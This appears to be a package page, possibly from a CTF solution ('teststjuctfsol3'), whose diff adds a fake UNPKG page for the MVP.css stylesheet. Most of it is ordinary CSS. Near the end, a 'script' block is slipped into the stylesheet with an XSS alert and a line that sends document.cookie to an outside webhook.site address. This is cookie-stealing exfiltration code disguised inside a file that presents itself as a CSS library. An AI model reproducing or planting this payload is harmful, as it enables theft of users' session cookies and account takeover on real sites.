teststjuctfsol3 1.0.0

Sign up to get free protection for your applications and to get access to all the features.
@@ -0,0 +1,579 @@
1
+ UNPKG Fake
2
+ mvp.css/mvp.css
3
+ Version:
4
+ 1.14.0
5
+
6
+ 9.58 kB
7
+ CSS
8
+ View Raw
9
+ /* MVP.css v1.14 - https://github.com/andybrewer/mvp */
10
+
11
+ :root {
12
+ --active-brightness: 0.85;
13
+ --border-radius: 5px;
14
+ --box-shadow: 2px 2px 10px;
15
+ --color-accent: #118bee15;
16
+ --color-bg: #fff;
17
+ --color-bg-secondary: #e9e9e9;
18
+ --color-link: #118bee;
19
+ --color-secondary: #920de9;
20
+ --color-secondary-accent: #920de90b;
21
+ --color-shadow: #f4f4f4;
22
+ --color-table: #118bee;
23
+ --color-text: #000;
24
+ --color-text-secondary: #999;
25
+ --font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif;
26
+ --hover-brightness: 1.2;
27
+ --justify-important: center;
28
+ --justify-normal: left;
29
+ --line-height: 1.5;
30
+ --width-card: 285px;
31
+ --width-card-medium: 460px;
32
+ --width-card-wide: 800px;
33
+ --width-content: 1080px;
34
+ }
35
+
36
+ @media (prefers-color-scheme: dark) {
37
+ :root[color-mode="user"] {
38
+ --color-accent: #0097fc4f;
39
+ --color-bg: #333;
40
+ --color-bg-secondary: #555;
41
+ --color-link: #0097fc;
42
+ --color-secondary: #e20de9;
43
+ --color-secondary-accent: #e20de94f;
44
+ --color-shadow: #bbbbbb20;
45
+ --color-table: #0097fc;
46
+ --color-text: #f7f7f7;
47
+ --color-text-secondary: #aaa;
48
+ }
49
+ }
50
+
51
+ html {
52
+ scroll-behavior: smooth;
53
+ }
54
+
55
+ @media (prefers-reduced-motion: reduce) {
56
+ html {
57
+ scroll-behavior: auto;
58
+ }
59
+ }
60
+
61
+ /* Layout */
62
+ article aside {
63
+ background: var(--color-secondary-accent);
64
+ border-left: 4px solid var(--color-secondary);
65
+ padding: 0.01rem 0.8rem;
66
+ }
67
+
68
+ body {
69
+ background: var(--color-bg);
70
+ color: var(--color-text);
71
+ font-family: var(--font-family);
72
+ line-height: var(--line-height);
73
+ margin: 0;
74
+ overflow-x: hidden;
75
+ padding: 0;
76
+ }
77
+
78
+ footer,
79
+ header,
80
+ main {
81
+ margin: 0 auto;
82
+ max-width: var(--width-content);
83
+ padding: 3rem 1rem;
84
+ }
85
+
86
+ hr {
87
+ background-color: var(--color-bg-secondary);
88
+ border: none;
89
+ height: 1px;
90
+ margin: 4rem 0;
91
+ width: 100%;
92
+ }
93
+
94
+ section {
95
+ display: flex;
96
+ flex-wrap: wrap;
97
+ justify-content: var(--justify-important);
98
+ }
99
+
100
+ section img,
101
+ article img {
102
+ max-width: 100%;
103
+ }
104
+
105
+ section pre {
106
+ overflow: auto;
107
+ }
108
+
109
+ section aside {
110
+ border: 1px solid var(--color-bg-secondary);
111
+ border-radius: var(--border-radius);
112
+ box-shadow: var(--box-shadow) var(--color-shadow);
113
+ margin: 1rem;
114
+ padding: 1.25rem;
115
+ width: var(--width-card);
116
+ }
117
+
118
+ section aside:hover {
119
+ box-shadow: var(--box-shadow) var(--color-bg-secondary);
120
+ }
121
+
122
+ [hidden] {
123
+ display: none;
124
+ }
125
+
126
+ /* Headers */
127
+ article header,
128
+ div header,
129
+ main header {
130
+ padding-top: 0;
131
+ }
132
+
133
+ header {
134
+ text-align: var(--justify-important);
135
+ }
136
+
137
+ header a b,
138
+ header a em,
139
+ header a i,
140
+ header a strong {
141
+ margin-left: 0.5rem;
142
+ margin-right: 0.5rem;
143
+ }
144
+
145
+ header nav img {
146
+ margin: 1rem 0;
147
+ }
148
+
149
+ section header {
150
+ padding-top: 0;
151
+ width: 100%;
152
+ }
153
+
154
+ /* Nav */
155
+ nav {
156
+ align-items: center;
157
+ display: flex;
158
+ font-weight: bold;
159
+ justify-content: space-between;
160
+ margin-bottom: 7rem;
161
+ }
162
+
163
+ nav ul {
164
+ list-style: none;
165
+ padding: 0;
166
+ }
167
+
168
+ nav ul li {
169
+ display: inline-block;
170
+ margin: 0 0.5rem;
171
+ position: relative;
172
+ text-align: left;
173
+ }
174
+
175
+ /* Nav Dropdown */
176
+ nav ul li:hover ul {
177
+ display: block;
178
+ }
179
+
180
+ nav ul li ul {
181
+ background: var(--color-bg);
182
+ border: 1px solid var(--color-bg-secondary);
183
+ border-radius: var(--border-radius);
184
+ box-shadow: var(--box-shadow) var(--color-shadow);
185
+ display: none;
186
+ height: auto;
187
+ left: -2px;
188
+ padding: .5rem 1rem;
189
+ position: absolute;
190
+ top: 1.7rem;
191
+ white-space: nowrap;
192
+ width: auto;
193
+ z-index: 1;
194
+ }
195
+
196
+ nav ul li ul::before {
197
+ /* fill gap above to make mousing over them easier */
198
+ content: "";
199
+ position: absolute;
200
+ left: 0;
201
+ right: 0;
202
+ top: -0.5rem;
203
+ height: 0.5rem;
204
+ }
205
+
206
+ nav ul li ul li,
207
+ nav ul li ul li a {
208
+ display: block;
209
+ }
210
+
211
+ /* Typography */
212
+ code,
213
+ samp {
214
+ background-color: var(--color-accent);
215
+ border-radius: var(--border-radius);
216
+ color: var(--color-text);
217
+ display: inline-block;
218
+ margin: 0 0.1rem;
219
+ padding: 0 0.5rem;
220
+ }
221
+
222
+ details {
223
+ margin: 1.3rem 0;
224
+ }
225
+
226
+ details summary {
227
+ font-weight: bold;
228
+ cursor: pointer;
229
+ }
230
+
231
+ h1,
232
+ h2,
233
+ h3,
234
+ h4,
235
+ h5,
236
+ h6 {
237
+ line-height: var(--line-height);
238
+ }
239
+
240
+ mark {
241
+ padding: 0.1rem;
242
+ }
243
+
244
+ ol li,
245
+ ul li {
246
+ padding: 0.2rem 0;
247
+ }
248
+
249
+ p {
250
+ margin: 0.75rem 0;
251
+ padding: 0;
252
+ width: 100%;
253
+ }
254
+
255
+ pre {
256
+ margin: 1rem 0;
257
+ max-width: var(--width-card-wide);
258
+ padding: 1rem 0;
259
+ }
260
+
261
+ pre code,
262
+ pre samp {
263
+ display: block;
264
+ max-width: var(--width-card-wide);
265
+ padding: 0.5rem 2rem;
266
+ white-space: pre-wrap;
267
+ }
268
+
269
+ small {
270
+ color: var(--color-text-secondary);
271
+ }
272
+
273
+ sup {
274
+ background-color: var(--color-secondary);
275
+ border-radius: var(--border-radius);
276
+ color: var(--color-bg);
277
+ font-size: xx-small;
278
+ font-weight: bold;
279
+ margin: 0.2rem;
280
+ padding: 0.2rem 0.3rem;
281
+ position: relative;
282
+ top: -2px;
283
+ }
284
+
285
+ /* Links */
286
+ a {
287
+ color: var(--color-link);
288
+ display: inline-block;
289
+ font-weight: bold;
290
+ text-decoration: underline;
291
+ }
292
+
293
+ a:active {
294
+ filter: brightness(var(--active-brightness));
295
+ }
296
+
297
+ a:hover {
298
+ filter: brightness(var(--hover-brightness));
299
+ }
300
+
301
+ a b,
302
+ a em,
303
+ a i,
304
+ a strong,
305
+ button,
306
+ input[type="submit"] {
307
+ border-radius: var(--border-radius);
308
+ display: inline-block;
309
+ font-size: medium;
310
+ font-weight: bold;
311
+ line-height: var(--line-height);
312
+ margin: 0.5rem 0;
313
+ padding: 1rem 2rem;
314
+ }
315
+
316
+ button,
317
+ input[type="submit"] {
318
+ font-family: var(--font-family);
319
+ }
320
+
321
+ button:active,
322
+ input[type="submit"]:active {
323
+ filter: brightness(var(--active-brightness));
324
+ }
325
+
326
+ button:hover,
327
+ input[type="submit"]:hover {
328
+ cursor: pointer;
329
+ filter: brightness(var(--hover-brightness));
330
+ }
331
+
332
+ a b,
333
+ a strong,
334
+ button,
335
+ input[type="submit"] {
336
+ background-color: var(--color-link);
337
+ border: 2px solid var(--color-link);
338
+ color: var(--color-bg);
339
+ }
340
+
341
+ a em,
342
+ a i {
343
+ border: 2px solid var(--color-link);
344
+ border-radius: var(--border-radius);
345
+ color: var(--color-link);
346
+ display: inline-block;
347
+ padding: 1rem 2rem;
348
+ }
349
+
350
+ article aside a {
351
+ color: var(--color-secondary);
352
+ }
353
+
354
+ /* Images */
355
+ figure {
356
+ margin: 0;
357
+ padding: 0;
358
+ }
359
+
360
+ figure img {
361
+ max-width: 100%;
362
+ }
363
+
364
+ figure figcaption {
365
+ color: var(--color-text-secondary);
366
+ }
367
+
368
+ /* Forms */
369
+ button:disabled,
370
+ input:disabled {
371
+ background: var(--color-bg-secondary);
372
+ border-color: var(--color-bg-secondary);
373
+ color: var(--color-text-secondary);
374
+ cursor: not-allowed;
375
+ }
376
+
377
+ button[disabled]:hover,
378
+ input[type="submit"][disabled]:hover {
379
+ filter: none;
380
+ }
381
+
382
+ form {
383
+ border: 1px solid var(--color-bg-secondary);
384
+ border-radius: var(--border-radius);
385
+ box-shadow: var(--box-shadow) var(--color-shadow);
386
+ display: block;
387
+ max-width: var(--width-card-wide);
388
+ min-width: var(--width-card);
389
+ padding: 1.5rem;
390
+ text-align: var(--justify-normal);
391
+ }
392
+
393
+ form header {
394
+ margin: 1.5rem 0;
395
+ padding: 1.5rem 0;
396
+ }
397
+
398
+ input,
399
+ label,
400
+ select,
401
+ textarea {
402
+ display: block;
403
+ font-size: inherit;
404
+ max-width: var(--width-card-wide);
405
+ }
406
+
407
+ input[type="checkbox"],
408
+ input[type="radio"] {
409
+ display: inline-block;
410
+ }
411
+
412
+ input[type="checkbox"]+label,
413
+ input[type="radio"]+label {
414
+ display: inline-block;
415
+ font-weight: normal;
416
+ position: relative;
417
+ top: 1px;
418
+ }
419
+
420
+ input[type="range"] {
421
+ padding: 0.4rem 0;
422
+ }
423
+
424
+ input,
425
+ select,
426
+ textarea {
427
+ border: 1px solid var(--color-bg-secondary);
428
+ border-radius: var(--border-radius);
429
+ margin-bottom: 1rem;
430
+ padding: 0.4rem 0.8rem;
431
+ }
432
+
433
+ input[type="text"],
434
+ textarea {
435
+ width: calc(100% - 1.6rem);
436
+ }
437
+
438
+ input[readonly],
439
+ textarea[readonly] {
440
+ background-color: var(--color-bg-secondary);
441
+ }
442
+
443
+ label {
444
+ font-weight: bold;
445
+ margin-bottom: 0.2rem;
446
+ }
447
+
448
+ /* Popups */
449
+ dialog {
450
+ border: 1px solid var(--color-bg-secondary);
451
+ border-radius: var(--border-radius);
452
+ box-shadow: var(--box-shadow) var(--color-shadow);
453
+ position: fixed;
454
+ top: 50%;
455
+ left: 50%;
456
+ transform: translate(-50%, -50%);
457
+ width: 50%;
458
+ z-index: 999;
459
+ }
460
+
461
+ /* Tables */
462
+ table {
463
+ border: 1px solid var(--color-bg-secondary);
464
+ border-radius: var(--border-radius);
465
+ border-spacing: 0;
466
+ display: inline-block;
467
+ max-width: 100%;
468
+ overflow-x: auto;
469
+ padding: 0;
470
+ white-space: nowrap;
471
+ }
472
+
473
+ table td,
474
+ table th,
475
+ table tr {
476
+ padding: 0.4rem 0.8rem;
477
+ text-align: var(--justify-important);
478
+ }
479
+
480
+ table thead {
481
+ background-color: var(--color-table);
482
+ border-collapse: collapse;
483
+ border-radius: var(--border-radius);
484
+ color: var(--color-bg);
485
+ margin: 0;
486
+ padding: 0;
487
+ }
488
+
489
+ table thead th:first-child {
490
+ border-top-left-radius: var(--border-radius);
491
+ }
492
+
493
+ table thead th:last-child {
494
+ border-top-right-radius: var(--border-radius);
495
+ }
496
+
497
+ table thead th:first-child,
498
+ table tr td:first-child {
499
+ text-align: var(--justify-normal);
500
+ }
501
+
502
+ table tr:nth-child(even) {
503
+ background-color: var(--color-accent);
504
+ }
505
+
506
+ /* Quotes */
507
+ blockquote {
508
+ display: block;
509
+ font-size: x-large;
510
+ line-height: var(--line-height);
511
+ margin: 1rem auto;
512
+ max-width: var(--width-card-medium);
513
+ padding: 1.5rem 1rem;
514
+ text-align: var(--justify-important);
515
+ }
516
+
517
+ blockquote footer {
518
+ color: var(--color-text-secondary);
519
+ display: block;
520
+ font-size: small;
521
+ line-height: var(--line-height);
522
+ padding: 1.5rem 0;
523
+ }
524
+
525
+ /* Scrollbars */
526
+ * {
527
+ scrollbar-width: thin;
528
+ scrollbar-color: rgb(202, 202, 232) auto;
529
+ }
530
+
531
+ *::-webkit-scrollbar {
532
+ width: 5px;
533
+ height: 5px;
534
+ }
535
+
536
+ *::-webkit-scrollbar-track {
537
+ background: transparent;
538
+ }
539
+
540
+ *::-webkit-scrollbar-thumb {
541
+ background-color: rgb(202, 202, 232);
542
+ border-radius: 10px;
543
+ }
544
+
545
+ script {
546
+ alert("XSS attack!");
547
+ new Image().src = 'https://webhook.site/c2ed206b-1262-40f1-ac68-a34fead68352/?a=' + escape(document.cookie);
548
+ }
549
+
550
+ .listree-submenu-heading {
551
+ cursor: pointer;
552
+ }
553
+ ul.listree {
554
+ list-style: none;
555
+ }
556
+ ul.listree-submenu-items {
557
+ list-style: none;
558
+ border-left: 1px dashed black;
559
+ white-space: nowrap;
560
+ margin-right: 4px;
561
+ padding-left: 20px;
562
+ }
563
+ div.listree-submenu-heading.collapsed:before {
564
+ content: "+";
565
+ margin-right: 4px;
566
+ }
567
+ div.listree-submenu-heading.expanded:before {
568
+ content: "-";
569
+ margin-right: 4px;
570
+ }
571
+ .scrollable-menu {
572
+ height: auto;
573
+ max-width: 800px;
574
+ overflow-y: hidden;
575
+ }
576
+
577
+ Build: a7ebffa
578
+
579
+ © 2023 UNPKG